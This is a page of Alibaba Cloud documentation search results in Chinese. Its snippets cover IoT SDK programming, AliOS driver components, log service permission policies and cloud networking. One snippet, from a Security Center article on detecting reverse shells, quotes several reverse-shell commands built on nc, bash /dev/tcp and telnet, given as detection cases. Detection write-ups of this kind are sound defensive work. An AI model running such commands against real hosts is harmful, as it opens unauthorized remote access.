基于Make的编译说明

FEATURE_DEPRECATED_LINKKIT 高级版接口风格开关,配置进行高级版物模型相关的编程时,C Link SDK不仅提供 linkkit_xxx_yyy()风格的旧版接口,还提供 IOT_Linkkit_XXX()风格的新版接口。FEATURE_DEV_BIND_ENABLED V2.3.0之后的版本新增绑定...

物模型编程

物模型是阿里云物联网平台为产品定义的数据模型,通过属性、事件、服务的方式对产品支持的能力进行描述,在设备开发时也需要以物模型的方式进行编程。获取Link SDK 不同版本的Link SDK下载,请参见 SDK获取,本文以Link SDK v3.2.0版本为例...

云安全中心反弹Shell多维检测技术详解

nc 10.10.XX.XX 6060 0|/bin/bash 1>backpipe 2>backpipe 案例五:bash-c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat|while read line;do$line>&5 2>&1;done' 案例六:telnet 10.10.10.10 6060|/bin/bash|telnet 10.10.XX.XX 5050 在某些变形...

旧版本快速体验

本章描述如何申请自己的设备,并结合C-SDK快速体验该设备通过 MQTT 协议以topic的方式和通过物模型的编程方式,上报和接收业务报文。适用于版本2.2.0,2.2.1 2.1 准备本地开发环境 安装Ubuntu16.04 本SDK的编译环境是 64位 主机上的 Ubuntu16...

watchdog

版权信息 Apache license v2.0 目录结构│src│└─wdg_dev.c#WATCHDOG VFS驱动程序源代码├─example#WATCHDOG VFS驱动程序使用案例│└─wdg_example.c#通过WATCHDOG VFS接口进行WATCHDOG通信的案例文件├─include#WATCHDOG驱动子系统...

pwm

版本信息 Apache license v2.0 目录结构│src│└─pwm_dev.c#PWM VFS驱动程序源代码├─example#PWM VFS驱动程序使用案例│└─pwm_example.c#通过PWM VFS接口进行PWM通信的案例文件├─include#PWM驱动子系统对外提供头文件目录│├─aos...

配置自定义角色权限(同账号场景)

例如源Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,源Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore...

通过访问密钥访问数据

例如:目标Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,目标Logstore名称为app_a_log_output、app_b_log_output、app_c_log_output等,则使用模糊匹配授权。在实际场景中,请根据实际情况替换。{"Version":...

通过自定义角色读取Logstore数据

例如Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore名称。...

配置自定义角色权限(跨账号场景)

例如源Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,源Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore...

UART

版权说明 说明 Apache license v2.0 目录结构├─src│└─uart_dev.c#HAL to VFS适配├─include│└─aos│├─hal│└─uart.h#HAL API│└─vfsdev│└─uart_dev.h#VFS API├─package.yaml#编译配置文件└─example└─uart_example....

adc

adc/|-example|-adc_example.c#ADC示例代码|-include|-aos|-hal|-adc.h#ADC HAL API申明|-vfsdev|-adc_dev.h#ADC设备API申明|-package.yaml#编译和配置文件|-README.md#使用文档|-src|-adc_dev.c#ADC设备实现代码 依赖组件 base#最底层核心...

通过自定义角色访问数据

例如:源Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,源Logstore名称为app_a_log、app_b_log、app_c_log等,则使用模糊匹配授权。在实际场景中,请根据实际情况替换。{"Version":"1","Statement":[{"Action...

spi

package.yaml#编译和配置文件├─README.md#使用文档└─src└─spi_dev.c#SPI设备实现代码 依赖组件 base#最底层核心驱动模型、驱动自动加载机制以及Device VFS core vfs#VFS API抽象库 常用配置 本组件可以通过CONFIG_SPI_NUM配置对上层...

flash

flash_dev.c#Flash设备子系统实现 依赖组件 base#最底层核心驱动模型、驱动自动加载机制以及Device VFS core vfs#VFS API抽象库 epoll#增强型多路复用IO接口-epoll机制所在库 API说明 参考 flash_device_api 使用示例 组件使用示例相关的...

通过自定义角色访问数据(同账号场景)

例如Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore名称。...

timer

└─timer_example.c#Timer示例代码├─include│├─aos│└─hal│└─timer.h#Timer HAL API申明│└─vfsdev│└─timer_dev.h#Timer设备API申明├─package.yaml#编译和配置文件├─README.md#使用文档└─src└─timer_dev.c#Timer...

通过自定义角色访问数据(跨账号场景)

例如Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore名称。...

通过自定义RAM角色访问数据(同账号场景)

例如Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore名称。...

GPIO

版权说明 说明 Apache license v2.0 目录结构├─src│└─gpio_dev.c#HAL to VFS适配├─include│└─aos│├─hal│└─gpio.h#HAL API│└─vfsdev│└─gpio_dev.h#VFS API├─package.yaml#编译配置文件└─example└─gpio_example....

通过自定义RAM角色访问数据(跨账号场景)

例如Project名称为log-project-dev-a、log-project-dev-b、log-project-dev-c等,Logstore名称为website_a_log、website_b_log、website_c_log等,则您可以使用模糊匹配授权。在实际场景中,请根据实际情况替换Project名称和Logstore名称。...

pca9544

drv.c 依赖组件 base vfs i2c 常用配置 无 API说明/*@fun pca9544_init*@breif pca9544 initialization*@param i2c:the pointer for i2c configuration*@param dev_cfg:the pointer for dev configuration*@rtn*/int pca9544_init(i2c_dev_...

光照信息屏

init(void){/*1.ap3216c连接到HaaS edu k1的I2C1端口,所以i2c_dev的端口好需要设定为1 2.ap3216c为7-bit地址模式 3.haas1000芯片内部的I2C1作为主模式,ap3216c作为从设备 4.ap3216c外设定制用AP3216C_ADDR声明*/if 1 i2c_dev.port=1;i2c_...

I2C设备驱动程序开发指南

i2c_abc_t*i2c_abc=aos_container_of(i2c_dev,i2c_abc_t,i2c);4.注册及注销 4.1.注册 AliOS Things提供如下函数用于注册I2C master设备:aos_status_t aos_i2c_register(aos_i2c_t*i2c);调用注册函数之前,BSP开发者应自行分配一个 aos_i2c...

什么是专有网络

专有网络是您专有的云上私有网络。您可以完全掌控自己的专有网络,例如选择IP地址范围、配置路由表和网关等,您可以在自己定义的专有网络中使用阿里云资源,如云服务器ECS(Elastic Compute Service)、云数据库RDS(Relational Database ...

子设备管理

本节内容将结合 src/dev_model/examples/linkkit_example_gateway.c 为例讲解网关产品的编程方法。背景信息 名词 说明 网关 能够直接连接物联网平台的设备,且具有子设备管理功能,能够代理子设备连接云端。子设备 本质上也是设备。子设备...

什么是网络智能服务

网络智能服务 NIS(Network Intelligence Service)是一个对网络进行健康分析、性能监控、诊断修复、流量分析和测量仿真的云服务,通过集成机器学习、知识图谱等AIOps方法减少网络使用复杂性,提供自助运维能力,方便网络架构师和运维...

通义灵码介绍

支持编程语言 支持 Java、Python、Go、C#、C/C++、JavaScript、TypeScript、PHP、Ruby、Rust、Scala、Kotlin 等主流编程语言。支持 IDE 及操作系统 JetBrains IDEs IDE 版本:IntelliJ IDEA、PyCharm、GoLand、WebStorm 等 2020.3 及以上 ...

构建混合弹性容器集群(弹性ECS)

前提条件 本地数据中心自建Kubernetes集群的网络与云上注册集群使用的专有网络VPC互联互通,网络互联互通包括计算节点网络和容器网络互联互通。您可以通过云企业网产品服务实现网络互通。更多信息,请参见 入门概述。目标集群必须使用注册...

温湿度计

}/*i2c – the i2c device dev_addr – device address mem_addr – mem address mem_addr_size – mem address data – i2c master send data size – i2c master send data size*/bool si7006_getHumidity(float*humidity){ uint8_t reg=...

Tekton最佳实践

customresourcedefinitions/status"]verbs:["get","update","patch"]resourceNames:pipelines.tekton.dev-pipelineruns.tekton.dev-runs.tekton.dev-tasks.tekton.dev-clustertasks.tekton.dev-taskruns.tekton.dev-resolutionrequests....

i2c

版权信息 说明 Apache license v2.0 目录结构│src│└─i2c_dev.c#I2C VFS驱动程序源代码├─example#I2C VFS驱动程序使用案例│└─i2c_example.c#通过I2C VFS接口进行I2C通信的案例文件├─include#I2C驱动子系统对外提供头文件目录│├...

安装并使用Alibaba Cloud Compiler

Alibaba Cloud Compiler是阿里云打造的C++编译器,基于Clang/LLVM-13社区开源版本开发,继承开源版本支持的所有选项、参数,同时结合阿里云基础设施进行深度优化、补充特性,可以让您获得更好的C++编译器体验。本文主要介绍如何在Alibaba ...

源码部署常见问题

dev、libbz2-dev、libc-bin、libcurl4、libcurl4-openssl-dev、-2-2、libenchant-2-dev、libexpat1-dev、libffi-dev、libfontconfig1-dev、libfreetype6-dev、libgcrypt20-dev、libgd-dev、libgdbm-dev、libgdk-pixbuf2.0-dev、libgmp-dev...

基本对象概念

正如在 Java 和 C++ 等编程语言中所了解的,面向对象的编程着重于对象的概念。对象是现实世界实体的表示形式,如个人、地点或事物。对特定对象(如个人)的统一描述或定义称为对象类型。特定的人(如“Joe”或“Sally”)就是所谓的对象...

网络性能测试最佳实践

网络PPS(每秒传输数据包数)、网络带宽和网络时延是衡量云服务器网络性能的重要指标,测试网络性能可以帮助您提高网络的稳定性、延迟和吞吐量,从而为您提供更好的用户体验和应用程序性能。本文为您介绍如何使用Netperf和sockperf工具测试...

API详解

参数附加 说明 typedef enum { IOTX_LINKKIT_DEV_TYPE_MASTER,IOTX_LINKKIT_DEV_TYPE_SLAVE,IOTX_LINKKIT_DEV_TYPE_MAX } iotx_linkkit_dev_type_t;参数 说明 IOTX_LINKKIT_DEV_TYPE_MASTER 创建的设备为主设备,仅能创建一次。IOTX_...

OSS

步骤4 添加示例 OSS组件的package.yaml中添加 example示例代码:source_file:example/oss_example.c helloworld.c中添加网络相关部分,因为OSS依赖网络的连接#include<stdio.h>#include<stdlib.h>#include<aos/errno.h>#include...

概述

Dubbo:开源分布式服务框架 H2C:开放的网络通信框架。实现原理 SOFARPC 中的远程调用是通过服务模型来定义服务调用双方的。服务分为:服务消费方:对应 RPC 的调用端,可以理解为调用客户端,即“引用(Reference)”。服务提供方:对应 RPC...

网关接入物联网平台

注意 非C语言的SDK也有网关编程相关文档,本处单独给出C语言的链接是因为当前网关主要使用嵌入式Linux、并使用C语言开发为主。基于Ubuntu+C+MQTT的OTA实现 OTA用于设备固件升级,C SDK的目录src\ota\examples\ota_example_mqtt.c描述了OTA...
共有200条 < 1 2 3 4 ... 200 >
跳转至: GO
产品推荐
云服务器 安全管家服务 安全中心
这些文档可能帮助您
NAT网关 弹性公网IP 共享流量包 负载均衡 高速通道 短信服务
新人特惠 爆款特惠 最新活动 免费试用